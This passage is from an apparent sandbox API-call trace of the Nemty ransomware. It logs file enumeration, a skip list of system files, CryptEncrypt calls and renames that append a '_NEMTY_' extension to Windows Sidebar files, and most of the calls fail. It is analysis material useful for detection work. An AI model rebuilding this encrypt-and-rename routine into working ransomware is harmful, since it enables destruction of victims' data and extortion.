lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.009] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0109.009] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.009] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94290, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0109.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0109.009] CloseHandle (hObject=0xffffffff) returned 0 [0109.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6340048 [0109.009] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0109.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0109.009] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0109.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0109.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0109.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63400c0 [0109.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0109.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400c0 | out: hHeap=0x4f90000) returned 1 [0109.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0109.009] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\en-US\\sbdrop.dll.mui" (normalized: "c:\\program files\\windows sidebar\\en-us\\sbdrop.dll.mui"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\en-US\\sbdrop.dll.mui._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\en-us\\sbdrop.dll.mui._nemty_kgobjgd_")) returned 0 [0109.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0109.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0109.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0109.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94290 | out: hHeap=0x4f90000) returned 1 [0109.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0109.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0109.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94218 | out: hHeap=0x4f90000) returned 1 [0109.010] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="Sidebar.exe.mui", cAlternateFileName="")) returned 1 [0109.010] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2=".") returned 1 [0109.010] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2="..") returned 1 [0109.010] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2="...") returned 1 [0109.010] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2="windows") returned -1 [0109.010] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2="$RECYCLE.BIN") returned 1 [0109.010] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2="rsa") returned 1 [0109.010] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2="NTDETECT.COM") returned 1 [0109.010] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2="ntldr") returned 1 [0109.010] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2="MSDOS.SYS") returned 1 [0109.010] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2="IO.SYS") returned 1 [0109.010] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2="boot.ini") returned 1 [0109.010] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2="boot.ini") returned 1 [0109.010] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2="AUTOEXEC.BAT") returned 1 [0109.010] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2="ntuser.dat") returned 1 [0109.010] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2="desktop.ini") returned 1 [0109.010] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2="CONFIG.SYS") returned 1 [0109.010] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2="RECYCLER") returned 1 [0109.010] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2="BOOTSECT.BAK") returned 1 [0109.010] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2="bootmgr") returned 1 [0109.010] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2="programdata") returned 1 [0109.010] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2="appdata") returned 1 [0109.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Sidebar.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0109.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Sidebar.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f250, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sidebar.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0109.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0109.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Sidebar.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0109.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Sidebar.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f250, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sidebar.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0109.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0109.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Sidebar.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0109.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Sidebar.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f2a0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sidebar.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0109.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Sidebar.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0109.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Sidebar.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f2d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sidebar.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0109.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94218 [0109.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941a0 | out: hHeap=0x4f90000) returned 1 [0109.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94138 [0109.011] Sleep (dwMilliseconds=0x5) [0109.026] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf4a1ae90, dwHighDateTime=0x1d561e7)) [0109.026] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf4a1ae90, dwHighDateTime=0x1d561e7)) [0109.026] GetLastError () returned 0x5 [0109.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0109.026] GetLastError () returned 0x5 [0109.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0109.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0109.026] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0109.026] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0109.027] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0109.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94290 [0109.027] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94290, pcchString=0x653ef9c | out: pszString="1W9HKKs8/HqJpJUaUEsqAJHSZixESYEcoMsSq6zE2k9CSVQnCdfapv853Hyc2qEu\r\nP4bPSDOGLUuN0S04PWy5JPCMoagwag5FLQNkpJCUBmEsXQzRir6kRHMdwU55q6x9\r\n2+0vUYf6ZhQLiFn/k9UtlhspnJuQYeMB0hlVdbILzFAogTOVlBs2KYFWcBE43XLZ\r\n6IjzfFSfgrbsbyGXqyyXEN1eDb4RR3djYRcRZY3JV0hOlew4ICUdW0TixUeW1+e4\r\n59lNhPgyxsgiOoeVYMakLjIhM0E0mPTOnu8UsBXQsvrF9PPqNm9aeDIJaqvRLt6E\r\npVBgb8HUtF04MkpEn6reFQ==\r\n", pcchString=0x653ef9c) returned 1 [0109.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0109.027] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94290 | out: hHeap=0x4f90000) returned 1 [0109.027] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0109.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0109.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94290 [0109.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0109.027] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\en-US\\Sidebar.exe.mui" (normalized: "c:\\program files\\windows sidebar\\en-us\\sidebar.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.028] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0109.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0109.028] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.028] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0109.037] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.037] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0109.037] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.037] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0109.047] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.047] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0109.047] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.047] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0109.057] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.057] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0109.057] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.057] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0109.066] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.066] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0109.067] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.067] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0109.076] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.076] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0109.076] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.076] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0109.085] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.086] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0109.086] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.086] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0109.095] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.095] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0109.095] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.095] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0109.104] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.104] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0109.104] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.104] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0109.114] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.114] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0109.114] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.114] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0109.123] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.123] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0109.123] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.123] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0109.129] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.129] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0109.129] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.129] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0109.135] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.135] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0109.135] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.135] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94290, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0109.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0109.136] CloseHandle (hObject=0xffffffff) returned 0 [0109.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6340048 [0109.136] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0109.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0109.136] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0109.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0109.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0109.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63400c0 [0109.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0109.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400c0 | out: hHeap=0x4f90000) returned 1 [0109.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0109.136] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\en-US\\Sidebar.exe.mui" (normalized: "c:\\program files\\windows sidebar\\en-us\\sidebar.exe.mui"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\en-US\\Sidebar.exe.mui._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\en-us\\sidebar.exe.mui._nemty_kgobjgd_")) returned 0 [0109.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0109.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0109.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0109.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94290 | out: hHeap=0x4f90000) returned 1 [0109.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0109.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0109.136] HeapFree (in: hHeap=0x4f90000, 